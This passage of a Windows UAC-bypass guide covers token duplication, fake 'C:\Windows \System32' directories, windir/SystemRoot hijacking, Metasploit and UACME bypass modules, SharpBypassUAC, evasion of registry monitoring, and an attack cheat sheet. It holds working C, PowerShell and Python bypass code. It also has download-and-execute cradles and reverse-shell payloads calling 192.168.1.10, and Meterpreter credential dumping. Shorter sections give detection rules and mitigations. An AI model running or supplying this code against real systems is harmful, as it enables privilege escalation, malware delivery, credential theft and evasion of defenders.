-----------------------------------------|-------------------|----------------
{6EDD6D74-C007-4E75-B76A-E5740995E24C}  | ICMLuaUtil        | ShellExec
{D2E7041B-2927-42fb-8E9F-7CE93B6DC937}  | IColorDataProxy   | LaunchDccw
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}  | IClipboardUACHelper| Various
{BDB57FF2-79B9-4205-9447-F5FE85F37312}  | IFwCplLua         | LaunchAdvancedUI
{752438CB-E941-433F-BCB4-8B7D2329F0C8}  | ITaskService      | Run (via COM)

Tool to enumerate more:
https://github.com/hfiref0x/UACME (akagi source — method implementations)
OleViewDotNet — enumerate COM objects with elevation moniker

[DETECT] dllhost.exe spawning child processes with elevated integrity. Process execution via COM Surrogate resulting in High-integrity children. Token attribute LUA://DecHdAutoAp on child processes of dllhost.exe.


11. Token Duplication / Impersonation

What it means: Windows access tokens carry the identity and integrity level of a process. If a Medium-integrity process can find a High-integrity process that it has a handle to, it may be able to duplicate its token and spawn a new process under that token. The most reliable variant abuses the ITaskService COM interface from a CIA "Fine Dining" technique (implemented in the Stinger exploit) to run commands as NT AUTHORITY\SYSTEM.

[MITRE] T1134.001 — Token Impersonation/Theft | [TOKEN]

11.1 Check — Which High Integrity Processes Are Accessible?

# Find processes running at High/System integrity that current user can open
$processes = Get-Process
foreach ($p in $processes) {
    try {
        $handle = [System.Diagnostics.Process]::GetProcessById($p.Id)
        $token  = [System.Security.Principal.WindowsIdentity]::GetCurrent()
        # In practice, use OpenProcess with PROCESS_DUP_HANDLE and then
        # duplicate token — see C implementation below
    } catch {}
}

11.2 Token Duplication Bypass (C)

// token_uac_bypass.c
// Duplicates token from an elevated process to spawn elevated child
// Requires: Handle to an elevated process (even with limited rights)
// Compile: cl.exe token_uac_bypass.c /link advapi32.lib

#include <windows.h>
#include <stdio.h>

BOOL ElevateViaDuplication(DWORD targetPid, LPCWSTR payload) {
    HANDLE hProcess   = NULL;
    HANDLE hToken     = NULL;
    HANDLE hDupToken  = NULL;
    STARTUPINFOW si   = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    BOOL result = FALSE;

    // Open the target elevated process
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPid);
    if (!hProcess) {
        wprintf(L"[-] OpenProcess failed: %lu\n", GetLastError());
        goto cleanup;
    }

    // Get its token
    if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
        wprintf(L"[-] OpenProcessToken failed: %lu\n", GetLastError());
        goto cleanup;
    }

    // Duplicate as primary token
    if (!DuplicateTokenEx(hToken,
            TOKEN_ALL_ACCESS, NULL,
            SecurityImpersonation,
            TokenPrimary,
            &hDupToken)) {
        wprintf(L"[-] DuplicateTokenEx failed: %lu\n", GetLastError());
        goto cleanup;
    }

    wprintf(L"[+] Token duplicated successfully\n");

    // Launch payload with duplicated (elevated) token
    if (!CreateProcessWithTokenW(hDupToken, 0, NULL,
            (LPWSTR)payload, CREATE_NEW_CONSOLE,
            NULL, NULL, &si, &pi)) {
        wprintf(L"[-] CreateProcessWithTokenW failed: %lu\n", GetLastError());
        goto cleanup;
    }

    wprintf(L"[+] Elevated process spawned: PID %lu\n", pi.dwProcessId);
    result = TRUE;

cleanup:
    if (hProcess)  CloseHandle(hProcess);
    if (hToken)    CloseHandle(hToken);
    if (hDupToken) CloseHandle(hDupToken);
    return result;
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        wprintf(L"Usage: token_bypass.exe <PID_of_elevated_process> <payload.exe>\n");
        return 1;
    }
    DWORD pid = (DWORD)_wtoi(argv[1]);
    ElevateViaDuplication(pid, argv[2]);
    return 0;
}

11.3 TokenPlayer Tool Usage

# TokenPlayer — comprehensive token manipulation tool
# https://github.com/S1ckB0y1337/TokenPlayer

# UAC bypass via token duplication (spawns elevated prompt)
TokenPlayer.exe --pwnuac --spawn

# UAC bypass — execute specific payload elevated
TokenPlayer.exe --pwnuac --prog "C:\Windows\System32\cmd.exe" --args "/c whoami > C:\out.txt"

# Impersonate a specific process by PID
TokenPlayer.exe --impersonate --pid 1234 --spawn

# Execute payload under impersonated context
TokenPlayer.exe --exec --pid 1234 --prog "C:\payload.exe" --args "--connect"

[OPSEC] Token duplication requires SeImpersonatePrivilege or the ability to open the target process. Often chained after a UAC bypass that gives High integrity first.


12. Mocking Trusted Directories

What it means: Windows checks whether a binary is in a "trusted directory" (like C:\Windows\System32\) as part of the auto-elevation decision. But path checks have a quirk — a directory named C:\Windows \System32\ (with a trailing space) can fool the AppInfo service. A binary placed there can be treated as if it's in a trusted location.

[MITRE] T1548.002 | [BYPASS]

12.1 Create Fake Trusted Directory

:: Create directory with trailing space (requires CreateFile — Explorer can't do this)
:: Use the mklink or a script approach

:: PowerShell version
$fakePath = "\\?\" + "C:\Windows \System32"  # Trailing space — AppInfo is fooled
[System.IO.Directory]::CreateDirectory($fakePath)

:: Copy a legitimate auto-elevating binary
Copy-Item "C:\Windows\System32\winsat.exe" "C:\Windows \System32\winsat.exe"

:: Also copy the target DLL next to it — winsat loads it from its own directory first
Copy-Item "C:\path\to\malicious.dll" "C:\Windows \System32\WINMM.dll"

:: Now launch — AppInfo thinks it's C:\Windows\System32\winsat.exe → auto-elevates
:: winsat.exe loads WINMM.dll from its own (fake) directory → malicious DLL runs elevated
Start-Process "C:\Windows \System32\winsat.exe"

12.2 Python Helper — Create Fake System32

#!/usr/bin/env python3
# mock_trusted_dir.py
# Creates fake C:\Windows \System32\ and drops malicious DLL for bypass
# Run on Windows — requires ctypes

import ctypes
import shutil
import os

kernel32 = ctypes.windll.kernel32
FAKE_WINDIR   = r"\\?\C:\Windows \System32"
TARGET_BINARY = r"C:\Windows\System32\winsat.exe"
MALICIOUS_DLL = r"C:\path\to\evil.dll"
DLL_NAME      = "WINMM.dll"     # DLL winsat.exe loads

def create_fake_dir(path):
    """Create directory with long-path prefix (allows trailing space)."""
    try:
        os.makedirs(path, exist_ok=True)
        print(f"[+] Created: {path}")
        return True
    except Exception as e:
        print(f"[-] Failed: {e}")
        return False

if __name__ == "__main__":
    if create_fake_dir(FAKE_WINDIR):
        # Copy legitimate binary
        dest_bin = FAKE_WINDIR + r"\winsat.exe"
        shutil.copy2(TARGET_BINARY, dest_bin)
        print(f"[+] Copied binary: {dest_bin}")

        # Place malicious DLL
        dest_dll = FAKE_WINDIR + f"\\{DLL_NAME}"
        shutil.copy2(MALICIOUS_DLL, dest_dll)
        print(f"[+] Placed DLL: {dest_dll}")

        print("[*] Launch: C:\\Windows \\System32\\winsat.exe")
        print("[*] AppInfo will see trusted path → auto-elevate → load evil DLL")

[DETECT] Process creation from a path containing a space within the C:\Windows tree but not matching C:\Windows\System32\ exactly. File writes to C:\Windows \ (note trailing space).


13. Environment Variable Hijack (windir/SystemRoot)

What it means: Several scheduled tasks and system binaries build paths using %windir% or %SystemRoot%. Since HKCU\Environment is writable, an attacker can redefine these variables to point to an attacker-controlled directory, causing elevated processes to load DLLs or executables from the wrong path. Works even at UAC Always Notify level.

[MITRE] T1548.002 | [REG] HKCU\Environment

13.1 windir Hijack via Registry

:: Redefine %windir% to attacker-controlled directory
reg add "HKCU\Environment" /v windir /t REG_EXPAND_SZ /d "C:\Users\Public\FakeWin" /f

:: Create the fake directory structure
mkdir "C:\Users\Public\FakeWin\System32"

:: Copy malicious DLL (npmproxy.dll — loaded by taskhostw via CDSSync task)
copy "C:\path\to\evil.dll" "C:\Users\Public\FakeWin\System32\npmproxy.dll"

:: Run CDSSync scheduled task (runs taskhostw.exe elevated, loads from %windir%)
schtasks /Run /TN "\Microsoft\Windows\AppID\SmartScreenSpecific"

:: Or trigger directly:
:: schtasks /Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup"

:: Cleanup — restore windir
reg delete "HKCU\Environment" /v windir /f
rmdir /s /q "C:\Users\Public\FakeWin"

13.2 PowerShell — SystemRoot Hijack

# SystemRoot alternative path
$FakeRoot   = "C:\Users\$env:USERNAME\AppData\Local\Temp\SysRoot"
$FakeSys32  = "$FakeRoot\System32"
$DllName    = "CRYPTBASE.dll"   # Loaded by various elevated processes

New-Item -ItemType Directory -Path $FakeSys32 -Force | Out-Null

# Drop malicious DLL
Copy-Item "C:\path\to\evil.dll" "$FakeSys32\$DllName"

# Set SystemRoot (processed at next logon / task execution)
[System.Environment]::SetEnvironmentVariable("SystemRoot", $FakeRoot, "User")
$env:SystemRoot = $FakeRoot

Write-Host "[*] SystemRoot hijacked to: $FakeRoot"
Write-Host "[*] Trigger an elevated task or restart an auto-elevating binary"

# Restore after payload executes
Start-Sleep 10
[System.Environment]::SetEnvironmentVariable("SystemRoot", $null, "User")
Remove-Item $FakeRoot -Recurse -Force
Write-Host "[+] Cleaned up"

[DETECT] High-confidence signal. Registry modification of HKCU\Environment\windir or HKCU\Environment\SystemRoot to any non-C:\Windows value. Sysmon Event ID 13 on these paths. DLL loaded from a path matching ?\*\System32\*.dll but NOT matching C:\Windows\System32\*.dll.

[OPSEC] These changes are visible immediately in the registry. Have cleanup code ready and execute it right after the payload connects back.


14. Metasploit Automated Bypass Modules

What it means: Metasploit Framework ships a suite of polished UAC bypass exploit modules that automate all the above techniques. Each requires an existing Meterpreter or shell session running at Medium integrity from a local administrator account.

[TOOL] Metasploit Framework | [BYPASS]

14.1 Available Modules

# Search all UAC bypass modules
msf6 > search bypassuac

Matching Modules
================
   Name                                          Rank      Description
   ----                                          ----      -----------
   exploit/windows/local/bypassuac               excellent Windows Escalate UAC Protection Bypass
   exploit/windows/local/bypassuac_fodhelper     excellent Windows 10 UAC Bypass via fodhelper.exe
   exploit/windows/local/bypassuac_eventvwr      excellent UAC Bypass Using eventvwr.exe
   exploit/windows/local/bypassuac_sdclt         excellent Windows 10 UAC Bypass via sdclt.exe
   exploit/windows/local/bypassuac_silentcleanup excellent Windows Escalate UAC via SilentCleanup
   exploit/windows/local/bypassuac_injection_winsxs excellent Windows UAC Injection via WinSxS
   exploit/windows/local/bypassuac_comhijack     excellent Windows UAC COM Handler Hijack
   exploit/windows/local/bypassuac_dllhijack     excellent Windows UAC DLL Hijack
   exploit/windows/local/bypassuac_sluihijack    excellent Windows 10 UAC Bypass via slui.exe

14.2 bypassuac_fodhelper

msf6 > use exploit/windows/local/bypassuac_fodhelper
msf6 exploit(bypassuac_fodhelper) > show options

# Required:
msf6 exploit(bypassuac_fodhelper) > set SESSION 1
msf6 exploit(bypassuac_fodhelper) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(bypassuac_fodhelper) > set LHOST 192.168.1.10
msf6 exploit(bypassuac_fodhelper) > set LPORT 4444
msf6 exploit(bypassuac_fodhelper) > run

# Expected output:
# [*] UAC is Enabled, checking level...
# [+] Part of Administrators group! Continuing...
# [+] UAC is set to Default
# [+] BypassUAC can bypass this setting, continuing...
# [*] Uploading payload...
# [*] Meterpreter session 2 opened (elevated)
msf6 exploit(bypassuac_fodhelper) > sessions -i 2
meterpreter > getprivs  # Verify elevation

14.3 bypassuac_injection_winsxs (In-Memory / No Disk Drop)

# Avoids disk writes — DLL injected into a process using WinSxS redirection
msf6 > use exploit/windows/local/bypassuac_injection_winsxs
msf6 exploit(bypassuac_injection_winsxs) > set SESSION 1
msf6 exploit(bypassuac_injection_winsxs) > set TARGET 1          # 0=x86, 1=x64
msf6 exploit(bypassuac_injection_winsxs) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(bypassuac_injection_winsxs) > set LHOST 192.168.1.10
msf6 exploit(bypassuac_injection_winsxs) > set LPORT 4444
msf6 exploit(bypassuac_injection_winsxs) > run

# [+] Uploaded payload DLL
# [*] Spawning Windows Publisher signed process...
# [*] Injecting payload into process PID: 9780
# [*] Meterpreter session 2 opened (elevated)

14.4 bypassuac_sdclt

msf6 > use exploit/windows/local/bypassuac_sdclt
msf6 exploit(bypassuac_sdclt) > set SESSION 1
msf6 exploit(bypassuac_sdclt) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(bypassuac_sdclt) > set LHOST 192.168.1.10
msf6 exploit(bypassuac_sdclt) > set LPORT 4445
msf6 exploit(bypassuac_sdclt) > run

# [*] Setting HKCU\Software\Classes\exefile\shell\open\command
# [*] Executing sdclt.exe
# [*] Meterpreter session 3 opened (elevated)
# Note: manual cleanup of %TEMP% artefact may be needed

14.5 bypassuac_silentcleanup

msf6 > use exploit/windows/local/bypassuac_silentcleanup
msf6 exploit(bypassuac_silentcleanup) > set SESSION 1
msf6 exploit(bypassuac_silentcleanup) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(bypassuac_silentcleanup) > set LHOST 192.168.1.10
msf6 exploit(bypassuac_silentcleanup) > set LPORT 4446
msf6 exploit(bypassuac_silentcleanup) > run

# Drops PS1 in %TEMP%, triggers SilentCleanup task, auto-cleans up

14.6 Post-Bypass — Verify and Escalate to SYSTEM

# In new elevated Meterpreter session — verify elevation
meterpreter > getuid
Server username: DESKTOP\IEUser

meterpreter > getprivs
# Should show: SeDebugPrivilege, SeImpersonatePrivilege, etc.

# Now escalate to SYSTEM using getsystem
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# Dump credentials
meterpreter > load kiwi
meterpreter > creds_all

15. UACME — The Master Reference Tool

What it means: UACME by hFireF0X is the canonical collection of UAC bypass implementations for Windows. As of May 2026 it implements 65+ distinct bypass methods targeting every version of Windows from Vista through Windows 11. It is the definitive research reference tool — each method is numbered and documented.

[TOOL] https://github.com/hfiref0x/UACME

15.1 Build UACME

:: Clone and build (Visual Studio required)
git clone https://github.com/hfiref0x/UACME.git
cd UACME

:: Open Source\UACME.sln in Visual Studio 2019/2022
:: Build → Release x64
:: Output: Akagi64.exe (main tool), Akagi32.exe (32-bit)

15.2 Usage — Key Methods

:: Usage: Akagi64.exe [Method] [Optional: payload path]
:: Default payload (if none given): cmd.exe

:: Method 23 — fodhelper (works Win 10 1507+)
Akagi64.exe 23 cmd.exe

:: Method 33 — sdclt (works Win 10 Build 14316+)
Akagi64.exe 33 cmd.exe

:: Method 41 — ICMLuaUtil COM interface
Akagi64.exe 41 cmd.exe

:: Method 22 — SxS DotLocal / consent.exe DLL hijack
Akagi64.exe 22 cmd.exe

:: Method 30 — WerFault wow64log.dll DLL hijack (Medium to SYSTEM)
Akagi64.exe 30 cmd.exe

:: Method 70 — Environment variable abuse (works at Always Notify!)
Akagi64.exe 70 cmd.exe

:: List all methods (view source or README for full list)
:: Methods 1-65 cover every known UAC bypass primitive

15.3 Notable UACME Methods by Category

Registry Key Manipulation:
├─ Method 23  — fodhelper  (ms-settings handler)
├─ Method 31  — sdclt      (Folder shell handler)
├─ Method 33  — sdclt      (isolated command)
├─ Method 34  — ComputerDefaults (ms-settings handler)
└─ Method 43  — eventvwr   (mscfile handler)

DLL Hijack:
├─ Method 22  — SxS DotLocal → consent.exe loads comctl32 from fake dir
├─ Method 30  — wow64log.dll → WerFault.exe DLL sideload (→ SYSTEM)
└─ Method 65  — Missing DLL via SilentCleanup race condition

Elevated COM Interface:
├─ Method 41  — ICMLuaUtil.ShellExec
├─ Method 42  — IColorDataProxy.LaunchDccw  
└─ Method 46  — IFwCplLua

Environment Variable:
└─ Method 70  — windir/SystemRoot hijack (works at Always Notify!)

Scheduled Task:
└─ Method 34  — CDSSync via windir hijack

16. SharpBypassUAC — C# Tooling

What it means: SharpBypassUAC is a C# tool that automates several common UAC bypass techniques. It accepts a Base64-encoded command to execute elevated and is compatible with Covenant's "Assembly" task and similar C2 frameworks that support in-memory .NET execution.

[TOOL] https://github.com/FatRodzianko/SharpBypassUAC

16.1 Build & Usage

# Clone and build
git clone https://github.com/FatRodzianko/SharpBypassUAC.git
# Open in Visual Studio → Build Release x64 → SharpBypassUAC.exe
# Encode your payload command first
$command = "cmd /c start calc.exe"
$bytes   = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host "Encoded: $encoded"
:: Run bypass — replace encoded value with your payload
SharpBypassUAC.exe -b eventvwr       -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
SharpBypassUAC.exe -b fodhelper      -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
SharpBypassUAC.exe -b computerdefaults -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
SharpBypassUAC.exe -b sdclt          -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
SharpBypassUAC.exe -b slui           -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl

:: DiskCleanup — note: command must end with "&& REM"
SharpBypassUAC.exe -b dikcleanup     -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhlICYmIFJFTQ==

:: Supported -b values:
:: eventvwr | fodhelper | computerdefaults | sdclt | slui | dikcleanup

16.2 Execute via Covenant (C2 Integration)

In Covenant C2:
1. Grunt session at Medium integrity (admin user)
2. Tasks → Assembly
3. Upload SharpBypassUAC.exe
4. Arguments: -b fodhelper -e <Base64_encoded_grunt_launcher>
5. New Grunt will callback at High integrity

16.3 Generate Encoded Payload for C2 Callback

# Build payload string (adjust for your C2)
$C2   = "192.168.1.10"
$Port = "4444"

# Example — PowerShell reverse shell to encode
$Payload = "(New-Object Net.WebClient).DownloadString('http://$C2/rev.ps1') | IEX"

# Encode to UTF-16LE Base64 (required for powershell -EncodedCommand)
$Bytes   = [System.Text.Encoding]::Unicode.GetBytes($Payload)
$Encoded = [Convert]::ToBase64String($Bytes)
Write-Host "[*] Encoded command: $Encoded"

# Use with SharpBypassUAC:
# SharpBypassUAC.exe -b fodhelper -e $Encoded

17. Detection & Evasion

What it means: Defenders increasingly detect UAC bypasses through registry telemetry, process lineage, and token attributes. Attackers must adapt. This section covers both sides — what defenders watch for, and how to evade it.

17.1 Primary Detection Vectors

Detection Method                     | Detects                        | Tool/Source
-------------------------------------|--------------------------------|-----------------------
Sysmon Event ID 13 (Registry Set)    | HKCU shell handler writes      | Sysmon + SIEM
Sysmon Event ID 1 (Process Create)   | Unexpected parent-child pairs  | Sysmon + SIEM
Process Token Attributes             | LUA://DecHdAutoAp descendants  | Elastic Endpoint 7.16+
DLL Load Events                      | Non-MS DLLs in elevated procs  | Elastic Endpoint / EDR
AMSI                                 | PS script content scanning     | Windows built-in
Script Block Logging Event ID 4104   | PowerShell bypass code         | PowerShell / SIEM
EDR Behavioural Rules                | Registry + process correlation | CrowdStrike, SentinelOne

17.2 Registry Key Evasion — CurVer Subkey Redirect

Problem: Defenders alert on writes to:
  HKCU\Software\Classes\ms-settings\Shell\Open\command

Evasion: Use CurVer subkey to redirect — monitors miss the actual command key

HKCU\Software\Classes\ms-settings\CurVer
  (Default) = ".evil"

HKCU\Software\Classes\.evil\Shell\Open\command
  (Default) = "cmd.exe"

Result: fodhelper follows CurVer → resolves to .evil → executes cmd.exe
        Detections watching ms-settings\Shell\Open\command → MISS
# CurVer evasion implementation
$AliasClass = ".UAC_$(Get-Random)"  # Random class name
$Payload    = "cmd.exe"

# Create the aliased class with the actual command
New-Item "HKCU:\Software\Classes\$AliasClass\Shell\Open\command" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\$AliasClass\Shell\Open\command" "(Default)" $Payload -Force

# Set CurVer on ms-settings to point to the alias
New-Item "HKCU:\Software\Classes\ms-settings\CurVer" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" "(Default)" $AliasClass -Force

# Trigger
Start-Process "C:\Windows\System32\fodhelper.exe"
Start-Sleep 3

# Cleanup both keys
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\$AliasClass\" -Recurse -Force
Problem: Detections look for key rename patterns on ms-settings or shell\open\command

UACME 3.5+ adds: registry symbolic link trick
├─ Create a reg symlink from a non-monitored key → the actual command key
├─ Defender sees write to the non-monitored key
└─ Registry resolves symlink → fodhelper reads the hijacked command

Detection for this: Look for registry value "SymbolicLinkValue" in HKCU class keys
KQL: registry.value:"SymbolicLinkValue" and registry.key:*S-1-5-21-*_Classes*

17.4 Directory Rename Evasion

Problem: File monitoring alerts on DLL drops to C:\Windows\System32\

Evasion:
1. Write DLL to an unmonitored path (e.g. C:\Users\Public\Tmp\evil.dll)
2. Create the directory C:\Windows\System32\TmpXXXX\
3. Write legitimate DLL there (no alert — looks like temp files)
4. Rename the directory at the last second before trigger

IFileOperation bypass:
── File monitoring sees: dllhost.exe created C:\Windows\System32\TmpABC\evil.dll
── Directory rename:     C:\Windows\System32\TmpABC\ → C:\Windows\System32\wbem\
── Elevated process loads: C:\Windows\System32\wbem\evil.dll  ← no write alert at this path

17.5 Elastic EQL — Broad UAC Bypass Detection (Token Attributes)

// Detect any child of auto-elevated process running suspicious tools
process where event.action == "start" and
  process.Ext.token.integrity_level_name : ("high", "system") and
  process.Ext.token.security_attributes : "LUA://DecHdAutoAp" and
  (
    process.pe.original_file_name : (
      "cmd.exe", "powershell.exe", "pwsh*", "rundll32.exe",
      "mshta.exe", "msbuild.exe", "regsvr32.exe", "cscript.exe",
      "wscript.exe", "wmic.exe", "reg.exe", "schtasks.exe", "sc.exe"
    ) or
    process.executable : (
      "?:\\Users\\Public\\*", "?:\\Programdata\\*",
      "?:\\Windows\\Temp\\*", "?:\\Windows\\Tasks\\*"
    ) or
    (process.code_signature.trusted == false or process.code_signature.exists == false)
  )

17.6 Sysmon Config — Monitor UAC Bypass Registry Paths

<!-- Sysmon config — detect all common UAC bypass registry writes -->
<RuleGroup name="UAC Bypass Registry Monitoring" groupRelation="or">
  <RegistryEvent onmatch="include">
    <!-- fodhelper / ComputerDefaults bypass -->
    <TargetObject condition="contains">Software\Classes\ms-settings\Shell\Open\command</TargetObject>
    <!-- eventvwr bypass -->
    <TargetObject condition="contains">Software\Classes\mscfile\shell\open\command</TargetObject>
    <!-- sdclt folder method -->
    <TargetObject condition="contains">Software\Classes\Folder\shell\open\command</TargetObject>
    <!-- sdclt isolated method -->
    <TargetObject condition="contains">Classes\exefile\shell\runas\command\IsolatedCommand</TargetObject>
    <!-- windir / SystemRoot hijack -->
    <TargetObject condition="contains">Environment\windir</TargetObject>
    <TargetObject condition="contains">Environment\SystemRoot</TargetObject>
    <!-- CurVer redirect evasion -->
    <TargetObject condition="contains">ms-settings\CurVer</TargetObject>
    <!-- Registry symlink evasion -->
    <TargetObject condition="is">SymbolicLinkValue</TargetObject>
  </RegistryEvent>
</RuleGroup>

18. Mitigation Strategies

What it means: No single control blocks all UAC bypasses. Defenders need layered controls mapped to the specific primitives each technique relies on.

Mitigation What It Blocks Implementation
Set UAC to Always Notify All registry-hijack + COM auto-elevation bypasses GPO → ConsentPromptBehaviorAdmin = 2
Remove standing admin rights Entire UAC bypass category (no admin = no bypass needed) LAPS, JIT access, PAW
Sysmon + SIEM registry rules Detects all 5 common registry hijack paths Sysmon config + EQL/KQL rules
PowerShell Script Block Logging Detects PS-based bypass code GPO → Turn on Script Block Logging
AMSI Catches unobfuscated PS bypass scripts in memory Built-in Win 10+ — keep updated
AppLocker / WDAC Blocks unsigned payloads in writable paths AppLocker Publisher rules + Path rules
Constrained Language Mode Blocks .NET-based PS download cradles WDAC policy
Regular OS patching Closes specific bypass primitives MS has patched Windows Update

18.1 Raise UAC Level

:: Set Always Notify — defeats all auto-elevation-based bypasses
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ^
    /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f

:: Via GPO:
:: Computer Configuration → Windows Settings → Security Settings →
:: Local Policies → Security Options →
:: "User Account Control: Behavior of the elevation prompt for administrators
::  in Admin Approval Mode" → Set to "Prompt for credentials on the secure desktop"

18.2 Enable PowerShell Logging

# Enable Script Block Logging (Event ID 4104)
$RegPath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item $RegPath -Force | Out-Null
Set-ItemProperty $RegPath -Name "EnableScriptBlockLogging" -Value 1 -Force
Set-ItemProperty $RegPath -Name "EnableScriptBlockInvocationLogging" -Value 1 -Force

# Enable Module Logging
$RegPath2 = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
New-Item $RegPath2 -Force | Out-Null
Set-ItemProperty $RegPath2 -Name "EnableModuleLogging" -Value 1 -Force

18.3 AppLocker — Block Payloads in Temp/User Paths

<!-- AppLocker rule — block unsigned executables from user-writable locations -->
<RuleCollection Type="Exe" EnforcementMode="Enabled">
  <FilePathRule Id="..." Name="Block user temp" Description=""
                UserOrGroupSid="S-1-1-0" Action="Deny">
    <Conditions>
      <FilePathCondition Path="%TEMP%\*"/>
    </Conditions>
  </FilePathRule>
  <FilePathRule Id="..." Name="Block Windows Tasks" Description=""
                UserOrGroupSid="S-1-1-0" Action="Deny">
    <Conditions>
      <FilePathCondition Path="%WINDIR%\Tasks\*"/>
    </Conditions>
  </FilePathRule>
</RuleCollection>

19. Comparison Matrix

Technique Works at Default UAC Works at Always Notify Leaves Disk Artefact Requires Registry Write Complexity Wild Malware
Fodhelper Registry Hijack ✓ ✗ No Yes (HKCU) Low Glupteba, BitAT
Eventvwr Registry Hijack ✓ ✗ No Yes (HKCU) Low Many
ComputerDefaults Hijack ✓ ✗ No Yes (HKCU) Low ClipBanker, Quasar
sdclt Folder Handler ✓ ✗ No Yes (HKCU) Low Avaddon
sdclt Isolated Command ✓ ✗ No Yes (HKCU) Low Various
SilentCleanup (env var) ✓ ✓ Yes (DLL) Yes (HKCU Env) Medium RedLine, Glupteba
DLL Hijack (IFileOperation) ✓ ✗ Yes (DLL in sys32) No High DarkSide, LockBit
Elevated COM (ICMLuaUtil) ✓ ✗ No No Medium DarkSide, TrickBot
Token Duplication ✓ ✓ No No High APT tooling
Mocking Trusted Dirs ✓ ✓ Yes (DLL) No High Remcos RAT
windir/SystemRoot Hijack ✓ ✓ Yes (DLL) Yes (HKCU Env) Medium Various

20. Cheat Sheet

Quick Workflow — Foothold → UAC Bypass → SYSTEM

# ═══════════════════════════════════════════════════════════
# PHASE 1 — Verify preconditions
# ═══════════════════════════════════════════════════════════

# On victim (existing medium-integrity shell):
whoami /groups | findstr "Mandatory Level"
# Expect: Medium Mandatory Level — if already High, skip bypass

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# Expect: 0x5 — if 0x2 (Always Notify), use SilentCleanup/env var methods
# Expect: 0x0 — UAC off, just PsExec to SYSTEM directly

whoami /groups | findstr "Administrators"
# Expect: local Administrators — REQUIRED for all these bypasses

# ═══════════════════════════════════════════════════════════
# PHASE 2 — Choose bypass method
# ═══════════════════════════════════════════════════════════

# UAC default (0x5) — any of these:
# → Fastest/easiest:    fodhelper or eventvwr registry hijack
# → Low detection:      ComputerDefaults (less hunted)
# → No PS needed:       SharpBypassUAC -b fodhelper
# → Metasploit:         use exploit/windows/local/bypassuac_fodhelper

# UAC Always Notify (0x2) — only these:
# → SilentCleanup + windir hijack
# → Token duplication
# → UACME method 70

# ═══════════════════════════════════════════════════════════
# PHASE 3 — Execute bypass (fodhelper PowerShell example)
# ═══════════════════════════════════════════════════════════

# On victim:
$cmd = "powershell.exe -w hidden -e BASE64_PAYLOAD"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value $cmd -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

# ═══════════════════════════════════════════════════════════
# PHASE 4 — Verify elevation + escalate to SYSTEM
# ═══════════════════════════════════════════════════════════

# In new High-integrity session:
whoami /priv | findstr "SeDebugPrivilege"
# → Enabled = success

# Meterpreter: escalate to SYSTEM
meterpreter > getsystem
meterpreter > getuid    # → NT AUTHORITY\SYSTEM

# cmd.exe: escalate via PsExec
psexec64.exe -i -s cmd.exe
whoami   # → NT AUTHORITY\SYSTEM

Registry Keys Quick Reference

UAC Bypass Registry Paths (all under HKCU — no admin write needed):

Fodhelper / ComputerDefaults:
  HKCU\Software\Classes\ms-settings\Shell\Open\command
    (Default)       = <your payload>
    DelegateExecute = "" (empty string — required)

Eventvwr:
  HKCU\Software\Classes\mscfile\shell\open\command
    (Default)       = <your payload>

sdclt (Folder handler):
  HKCU\Software\Classes\Folder\shell\open\command
    (Default)       = <your payload>
    DelegateExecute = "" (required)

sdclt (IsolatedCommand):
  HKCU\Software\Classes\exefile\shell\runas\command
    IsolatedCommand = <your payload>
  Trigger: sdclt.exe /kickoffelev

windir hijack:
  HKCU\Environment
    windir          = C:\Users\<user>\AppData\Local\Temp\FakeWin
  (restore after: reg delete HKCU\Environment /v windir /f)

Payload Encoding One-Liners

# Encode a command for use with SharpBypassUAC or Invoke-FodhelperBypass

# Encode reverse shell payload
$payload = "powershell.exe -w hidden -c `"(New-Object Net.WebClient).DownloadString('http://192.168.1.10/rev.ps1') | IEX`""
$bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host $encoded

# Encode msfvenom payload download + execute
$payload = "cmd /c certutil -urlcache -f http://192.168.1.10/p.exe C:\Windows\Tasks\p.exe && C:\Windows\Tasks\p.exe"
$bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
Write-Host ([Convert]::ToBase64String($bytes))

# Quick IP + payload encoder (use on Kali with pwsh)
